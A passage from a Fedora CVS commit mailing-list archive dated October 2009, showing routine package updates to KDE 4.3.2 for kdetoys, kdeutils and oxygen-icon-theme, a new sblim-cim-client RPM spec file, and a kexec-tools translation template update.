RCS file: /cvs/extras/rpms/kdetoys/F-12/kdetoys.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- kdetoys.spec	28 Aug 2009 16:19:32 -0000	1.59
+++ kdetoys.spec	7 Oct 2009 12:41:26 -0000	1.60
@@ -1,7 +1,7 @@
 Name:           kdetoys
 Summary:        K Desktop Environment - Toys and Amusements
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 License:        GPLv2
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/F-12/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	28 Aug 2009 16:19:32 -0000	1.38
+++ sources	7 Oct 2009 12:41:26 -0000	1.39
@@ -1 +1 @@
-0cd0bba2f6265751537bf7bdaeacb518  kdetoys-4.3.1.tar.bz2
+a4496c504940f076997e553f257e4b3d  kdetoys-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:41:27 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:41:27 +0000 (UTC)
Subject: rpms/kdetoys/devel .cvsignore,1.42,1.43
Message-ID: <20091007124127.13AF611C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdetoys/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11605/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	5 Oct 2009 15:16:06 -0000	1.42
+++ .cvsignore	7 Oct 2009 12:41:26 -0000	1.43
@@ -1,2 +1 @@
-kdetoys-4.3.1.tar.bz2
 kdetoys-4.3.2.tar.bz2



From vcrhonek at fedoraproject.org  Wed Oct  7 12:42:45 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:42:45 +0000 (UTC)
Subject: rpms/sblim-cim-client/EL-4 sblim-cim-client.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007124245.696C111C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12055

Modified Files:
	sources 
Added Files:
	sblim-cim-client.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 12:42:45 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From ltinkl at fedoraproject.org  Wed Oct  7 12:42:55 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:42:55 +0000 (UTC)
Subject: rpms/kdeutils/devel .cvsignore,1.70,1.71
Message-ID: <20091007124255.31E8711C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12028/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/devel/.cvsignore,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- .cvsignore	5 Oct 2009 15:31:54 -0000	1.70
+++ .cvsignore	7 Oct 2009 12:42:54 -0000	1.71
@@ -1,2 +1 @@
-kdeutils-4.3.1.tar.bz2
 kdeutils-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:42:54 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:42:54 +0000 (UTC)
Subject: rpms/kdeutils/F-10 .cvsignore, 1.61, 1.62 kdeutils.spec, 1.160,
	1.161 sources, 1.65, 1.66 kdeutils-4.3.1-kscd-lirc.patch, 1.1, NONE
Message-ID: <20091007124254.0B2D711C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeutils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12028/F-10

Modified Files:
	.cvsignore kdeutils.spec sources 
Removed Files:
	kdeutils-4.3.1-kscd-lirc.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-10/.cvsignore,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- .cvsignore	1 Sep 2009 18:31:59 -0000	1.61
+++ .cvsignore	7 Oct 2009 12:42:53 -0000	1.62
@@ -1 +1 @@
-kdeutils-4.3.1.tar.bz2
+kdeutils-4.3.2.tar.bz2


Index: kdeutils.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-10/kdeutils.spec,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
--- kdeutils.spec	1 Sep 2009 18:31:59 -0000	1.160
+++ kdeutils.spec	7 Oct 2009 12:42:53 -0000	1.161
@@ -4,7 +4,7 @@
 
 Name:           kdeutils
 Epoch:          6
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        K Desktop Environment - Utilities
 
@@ -16,7 +16,6 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1:         kdeutils-4.2.85-pykde4.patch
-Patch2:         kdeutils-4.3.1-kscd-lirc.patch
 
 ## upstreamed patches
 
@@ -93,7 +92,6 @@ Requires: system-config-printer-libs
 
 # NEEDSWORK
 #patch1 -p1 -b .pykde4
-%patch2 -p1 -b .kscd-lirc
 
 %build
 
@@ -217,6 +215,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-10/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	1 Sep 2009 18:31:59 -0000	1.65
+++ sources	7 Oct 2009 12:42:53 -0000	1.66
@@ -1 +1 @@
-69491ba185ba8ecb2dd4860d7048a88a  kdeutils-4.3.1.tar.bz2
+b5e72292ed1504f8ee5a82a388af3b04  kdeutils-4.3.2.tar.bz2


--- kdeutils-4.3.1-kscd-lirc.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:42:54 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:42:54 +0000 (UTC)
Subject: rpms/kdeutils/F-11 .cvsignore, 1.66, 1.67 kdeutils.spec, 1.180,
	1.181 sources, 1.67, 1.68 kdeutils-4.3.1-kscd-lirc.patch, 1.1, NONE
Message-ID: <20091007124254.8449711C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeutils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12028/F-11

Modified Files:
	.cvsignore kdeutils.spec sources 
Removed Files:
	kdeutils-4.3.1-kscd-lirc.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-11/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	1 Sep 2009 18:31:59 -0000	1.66
+++ .cvsignore	7 Oct 2009 12:42:54 -0000	1.67
@@ -1 +1 @@
-kdeutils-4.3.1.tar.bz2
+kdeutils-4.3.2.tar.bz2


Index: kdeutils.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-11/kdeutils.spec,v
retrieving revision 1.180
retrieving revision 1.181
diff -u -p -r1.180 -r1.181
--- kdeutils.spec	1 Sep 2009 18:31:59 -0000	1.180
+++ kdeutils.spec	7 Oct 2009 12:42:54 -0000	1.181
@@ -4,7 +4,7 @@
 
 Name:           kdeutils
 Epoch:          6
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        K Desktop Environment - Utilities
 
@@ -16,7 +16,6 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1:         kdeutils-4.2.85-pykde4.patch
-Patch2:         kdeutils-4.3.1-kscd-lirc.patch
 
 ## upstreamed patches
 
@@ -93,7 +92,6 @@ Requires: system-config-printer-libs
 
 # NEEDSWORK
 #patch1 -p1 -b .pykde4
-%patch2 -p1 -b .kscd-lirc
 
 %build
 
@@ -217,6 +215,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-11/sources,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- sources	1 Sep 2009 18:31:59 -0000	1.67
+++ sources	7 Oct 2009 12:42:54 -0000	1.68
@@ -1 +1 @@
-69491ba185ba8ecb2dd4860d7048a88a  kdeutils-4.3.1.tar.bz2
+b5e72292ed1504f8ee5a82a388af3b04  kdeutils-4.3.2.tar.bz2


--- kdeutils-4.3.1-kscd-lirc.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:42:54 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:42:54 +0000 (UTC)
Subject: rpms/kdeutils/F-12 .cvsignore, 1.69, 1.70 kdeutils.spec, 1.195,
	1.196 sources, 1.69, 1.70 kdeutils-4.3.1-kscd-lirc.patch, 1.1, NONE
Message-ID: <20091007124254.E4A1E11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12028/F-12

Modified Files:
	.cvsignore kdeutils.spec sources 
Removed Files:
	kdeutils-4.3.1-kscd-lirc.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-12/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 18:31:59 -0000	1.69
+++ .cvsignore	7 Oct 2009 12:42:54 -0000	1.70
@@ -1 +1 @@
-kdeutils-4.3.1.tar.bz2
+kdeutils-4.3.2.tar.bz2


Index: kdeutils.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-12/kdeutils.spec,v
retrieving revision 1.195
retrieving revision 1.196
diff -u -p -r1.195 -r1.196
--- kdeutils.spec	31 Aug 2009 10:14:56 -0000	1.195
+++ kdeutils.spec	7 Oct 2009 12:42:54 -0000	1.196
@@ -4,7 +4,7 @@
 
 Name:           kdeutils
 Epoch:          6
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        K Desktop Environment - Utilities
 
@@ -16,7 +16,6 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1:         kdeutils-4.2.85-pykde4.patch
-Patch2:         kdeutils-4.3.1-kscd-lirc.patch
 
 ## upstreamed patches
 
@@ -93,7 +92,6 @@ Requires: system-config-printer-libs
 
 # NEEDSWORK
 #patch1 -p1 -b .pykde4
-%patch2 -p1 -b .kscd-lirc
 
 %build
 
@@ -217,6 +215,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/F-12/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	28 Aug 2009 16:22:39 -0000	1.69
+++ sources	7 Oct 2009 12:42:54 -0000	1.70
@@ -1 +1 @@
-69491ba185ba8ecb2dd4860d7048a88a  kdeutils-4.3.1.tar.bz2
+b5e72292ed1504f8ee5a82a388af3b04  kdeutils-4.3.2.tar.bz2


--- kdeutils-4.3.1-kscd-lirc.patch DELETED ---



From nhorman at fedoraproject.org  Wed Oct  7 12:45:16 2009
From: nhorman at fedoraproject.org (Neil Horman)
Date: Wed,  7 Oct 2009 12:45:16 +0000 (UTC)
Subject: rpms/kexec-tools/devel/po POTFILES.in, NONE, 1.1 firstboot_kdump.pot,
	1.1, 1.2
Message-ID: <20091007124516.61ED011C00E6@cvs1.fedora.phx.redhat.com>

Author: nhorman

Update of /cvs/extras/rpms/kexec-tools/devel/po
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12621/po

Modified Files:
	firstboot_kdump.pot 
Added Files:
	POTFILES.in 
Log Message:
Updating translation files


--- NEW FILE POTFILES.in ---
firstboot_kdump.py


Index: firstboot_kdump.pot
===================================================================
RCS file: /cvs/extras/rpms/kexec-tools/devel/po/firstboot_kdump.pot,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- firstboot_kdump.pot	19 Feb 2007 20:05:57 -0000	1.1
+++ firstboot_kdump.pot	7 Oct 2009 12:45:16 -0000	1.2
@@ -8,7 +8,7 @@ msgid ""
 msgstr ""
 "Project-Id-Version: PACKAGE VERSION\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2007-02-19 14:50-0500\n"
+"POT-Creation-Date: 2009-10-05 11:50-0400\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
 "Language-Team: LANGUAGE <LL at li.org>\n"
@@ -16,28 +16,29 @@ msgstr ""
 "Content-Type: text/plain; charset=CHARSET\n"
 "Content-Transfer-Encoding: 8bit\n"
 
-#: firstboot_kdump.py:47
+#: ../firstboot_kdump.py:49 ../firstboot_kdump.py:50 ../firstboot_kdump.py:54
 msgid "Kdump"
 msgstr ""
 
-#: firstboot_kdump.py:188 firstboot_kdump.py:209
+#. detected total amount of system memory
+#: ../firstboot_kdump.py:195 ../firstboot_kdump.py:216
 #, python-format
 msgid "%s"
 msgstr ""
 
-#: firstboot_kdump.py:189
+#: ../firstboot_kdump.py:196
 msgid "_Total System Memory (MB):"
 msgstr ""
 
-#: firstboot_kdump.py:201
+#: ../firstboot_kdump.py:208
 msgid "_Kdump Memory (MB):"
 msgstr ""
 
-#: firstboot_kdump.py:210
+#: ../firstboot_kdump.py:217
 msgid "_Usable System Memory (MB):"
 msgstr ""
 
-#: firstboot_kdump.py:224
+#: ../firstboot_kdump.py:231
 msgid ""
 "Kdump is a kernel crash dumping mechanism. In the event of a system crash, "
 "kdump will capture information from your system that can be invaluable in "
@@ -45,20 +46,20 @@ msgid ""
 "portion of system memory that will be unavailable for other uses."
 msgstr ""
 
-#: firstboot_kdump.py:284
+#: ../firstboot_kdump.py:289
 msgid "Sorry, your system does not have enough memory for kdump to be viable!"
 msgstr ""
 
-#: firstboot_kdump.py:290
+#: ../firstboot_kdump.py:295
 msgid "Sorry, Xen kernels do not support kdump at this time!"
 msgstr ""
 
-#: firstboot_kdump.py:296
+#: ../firstboot_kdump.py:301
 #, python-format
 msgid "Sorry, the %s architecture does not support kdump at this time!"
 msgstr ""
 
-#: firstboot_kdump.py:313
+#: ../firstboot_kdump.py:318
 #, python-format
 msgid ""
 "Changing Kdump settings requires rebooting the system to reallocate memory "
@@ -66,6 +67,6 @@ msgid ""
 "system after firstboot is complete?"
 msgstr ""
 
-#: firstboot_kdump.py:330
+#: ../firstboot_kdump.py:335
 msgid "Error! No bootloader config file found, aborting configuration!"
 msgstr ""



From ltinkl at fedoraproject.org  Wed Oct  7 12:45:48 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:45:48 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/F-10 .cvsignore, 1.4,
	1.5 oxygen-icon-theme.spec, 1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091007124548.C61AC11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/oxygen-icon-theme/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12684/F-10

Modified Files:
	.cvsignore oxygen-icon-theme.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	2 Sep 2009 11:48:02 -0000	1.4
+++ .cvsignore	7 Oct 2009 12:45:48 -0000	1.5
@@ -1 +1 @@
-oxygen-icons-4.3.1.tar.bz2
+oxygen-icons-4.3.2.tar.bz2


Index: oxygen-icon-theme.spec
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-10/oxygen-icon-theme.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oxygen-icon-theme.spec	2 Sep 2009 11:48:02 -0000	1.3
+++ oxygen-icon-theme.spec	7 Oct 2009 12:45:48 -0000	1.4
@@ -1,6 +1,6 @@
 Name:          oxygen-icon-theme 
 Summary:       Oxygen icon theme 
-Version:       4.3.1
+Version:       4.3.2
 Release:       1%{?dist}
 
 License:       LGPLv3+ 
@@ -66,6 +66,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	2 Sep 2009 11:48:02 -0000	1.4
+++ sources	7 Oct 2009 12:45:48 -0000	1.5
@@ -1 +1 @@
-bd3f2feb4f99c99d15cae7f27c3f452d  oxygen-icons-4.3.1.tar.bz2
+6f5b700a65720f44d895a10049bbc05c  oxygen-icons-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:45:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:45:49 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/F-11 .cvsignore, 1.4,
	1.5 oxygen-icon-theme.spec, 1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091007124549.2107911C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/oxygen-icon-theme/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12684/F-11

Modified Files:
	.cvsignore oxygen-icon-theme.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	2 Sep 2009 11:48:02 -0000	1.4
+++ .cvsignore	7 Oct 2009 12:45:48 -0000	1.5
@@ -1 +1 @@
-oxygen-icons-4.3.1.tar.bz2
+oxygen-icons-4.3.2.tar.bz2


Index: oxygen-icon-theme.spec
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-11/oxygen-icon-theme.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oxygen-icon-theme.spec	2 Sep 2009 11:48:02 -0000	1.3
+++ oxygen-icon-theme.spec	7 Oct 2009 12:45:48 -0000	1.4
@@ -1,6 +1,6 @@
 Name:          oxygen-icon-theme 
 Summary:       Oxygen icon theme 
-Version:       4.3.1
+Version:       4.3.2
 Release:       1%{?dist}
 
 License:       LGPLv3+ 
@@ -66,6 +66,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	2 Sep 2009 11:48:02 -0000	1.4
+++ sources	7 Oct 2009 12:45:48 -0000	1.5
@@ -1 +1 @@
-bd3f2feb4f99c99d15cae7f27c3f452d  oxygen-icons-4.3.1.tar.bz2
+6f5b700a65720f44d895a10049bbc05c  oxygen-icons-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:45:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:45:49 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/F-12 .cvsignore, 1.10,
	1.11 oxygen-icon-theme.spec, 1.9, 1.10 sources, 1.9, 1.10
Message-ID: <20091007124549.67F6E11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/oxygen-icon-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12684/F-12

Modified Files:
	.cvsignore oxygen-icon-theme.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	2 Sep 2009 11:48:02 -0000	1.10
+++ .cvsignore	7 Oct 2009 12:45:49 -0000	1.11
@@ -1 +1 @@
-oxygen-icons-4.3.1.tar.bz2
+oxygen-icons-4.3.2.tar.bz2


Index: oxygen-icon-theme.spec
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-12/oxygen-icon-theme.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- oxygen-icon-theme.spec	28 Aug 2009 20:06:53 -0000	1.9
+++ oxygen-icon-theme.spec	7 Oct 2009 12:45:49 -0000	1.10
@@ -1,6 +1,6 @@
 Name:          oxygen-icon-theme 
 Summary:       Oxygen icon theme 
-Version:       4.3.1
+Version:       4.3.2
 Release:       1%{?dist}
 
 License:       LGPLv3+ 
@@ -66,6 +66,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 20:06:53 -0000	1.9
+++ sources	7 Oct 2009 12:45:49 -0000	1.10
@@ -1 +1 @@
-bd3f2feb4f99c99d15cae7f27c3f452d  oxygen-icons-4.3.1.tar.bz2
+6f5b700a65720f44d895a10049bbc05c  oxygen-icons-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:45:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:45:49 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/devel .cvsignore,1.11,1.12
Message-ID: <20091007124549.9A81011C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/oxygen-icon-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12684/devel

